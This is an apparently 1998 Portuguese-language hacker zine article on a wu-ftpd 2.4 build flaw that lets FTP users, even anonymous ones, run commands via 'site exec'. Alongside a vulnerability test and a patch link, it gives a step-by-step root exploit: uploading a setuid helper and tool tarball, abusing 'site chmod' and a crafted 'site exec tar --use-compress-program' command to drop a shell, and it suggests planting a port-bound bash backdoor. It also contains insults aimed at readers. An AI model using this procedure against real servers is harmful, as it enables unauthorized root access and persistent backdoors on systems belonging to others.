wu-ftpd 2.4
Death Knights Issue 3
by Cacaio
Existe um problema em certas configuracoes do wu-ftpd de liberam acesso root para qualquer usuario que esteja no sistema. As vezes tambem e' possivel como anonymous.
Na configuracao original, o wu-ftpd nao era vulneravel, mas quase todas as distribuicoes do Linux (ate o fim de 97)vem com o wu-ftpd compilado com o problema. Agora, a vulnerabilidade e' distribuida e executada como se fosse padrao. Algumas maquinas NAO-Linux que usam o wu-ftpd tambem devem ser checadas para ver se tambem nao e' vulneravel.
Acha que e' pouca gente que e' vulneravel? Vai veri que voce tambem e'. TODAS as versoes do Linux Slackware ate' a 3.3 vem com os arquivos binarios pre compilados com a vulnerabilidade. Red Hat, Debian e outras distribuicoes nao tive a oportunidade de checar.
O que erraram?
A variavel _PATH_EXECPATH foi setada para "/bin" no arquivo de configuracao src/pathnames.h quando a distribuicao binaria foi construida.
O _PATH_EXECPATH deveria estar setado para "/bin/ftp-exec" ou outro diretorio que nao contem shell ou interpretador de comando.
Coisa de maluco!
O source que vem com o Linux bugado ja esta setado para o valor correto ("/bin/ftp-exec", o que deve ser checado antes de recompilar), e mesmo assim o binario nao. Alguem pode me explicar por que?
Acho que ninguem explica.
Testando...
Pra ver se o seu sistema esta vulneravel, voce pode executar os seguintes comandos:
srchost> ftp ftphostbugado
Connected to ftphostbugado
220 ftphostbugado FTP server (Version wu-2.4(2) Mon Apr 18 09:12:35 GMT+1000 1994) ready.
Name (srchost:user):
331 Password required for user.
Password:
230 User user logged in.
ftp> quote site exec echo problem
200-echo problem
200-problem
200 (end of 'echo problem')
ftp> quit
221 Goodbye.
Se voce receber a linha "200-problem", seu sistema e' vulneravel. Isto pode ser feito como qualquer usuario, ate anonymous.
Pegando root
Para pegar root se precisa de algumas coisas:
- O local deve ter o tar no diretorio /bin.
- Deve haver um diretorio com permissao para gravar para voce fazer o upload do arquivo.
- O site nao pode ter o chmod desabilitado.
Voce pergunta, e as permissoes no /bin? Voce tera, quando voce esta como anonymous no ftp voce usa uid/gid 0! (ohh..)
Vamos ao que interessa, o que voce precisa fazer e' compilar um pequeno programa que faz o seteuid(0), chama chmod(0755, "/bin/ftp-exec") e copia os arquivos de saida para stdout. Voce faz o upload dele para o /incoming e um arquivo tareado com suas ferramentas preferidas (exemplo: um xterm linkado estaticamente e bash), use chmod no programa pra 0755 com 'site chmod' , e va para /bin/ftp-exec e chame o tar com as seguintes opcoes:
site exec tar --use-compress-program /incoming/death -xf /incoming/death.tar
Entao, este processo vai descomprimir todas suas ferramentas para /bin/ftp-exec. O que voce tem que fazer entao e' executar xterm para ter acesso shell e 'driblar as mandingas' do root. Voce aceita sugestao? Que tal um programa que cria uma backdoor em uma porta qualquer e joga pra bash? Se nao aceita to nem ai', foda-se, ta lendo isso aqui por que quer!
Como arrumar o problema?
Pegue o binario com o problema corrigido em:
ftp://linux.nrao.edu/pub/people/alex/wu-ftpd-2.4-fix/
ou se voce usa Slackware 3.3 ou mais novo, basta recompilar seu wu-ftpd.
Tristeza...
Olha que coisa triste... mais de 20% das maquinas Brasileiras que usam o wu-ftpd wu-ftpd 2.4 sao vulneraveis. (ate o presente momento, 26/05/1998) Nestes 20% estao maquinas do governo, grandes provedores como a openline (a qual notifiquei pois tenho amigos) por exemplo, e ate maquinas de simples usuarios. Sera que o pessoal nao se ligou que ja saiu versao nova a um tempao? Download & install. Vamos mudar esta situacao! Vamos levantar a moral do BRASIL! Se voce ta pouco se fudendo pro Brasil, se mata ou muda de pais, por que o estamos cansados de hipocritas como voce, otario.
Cacaio@DeathKnights.com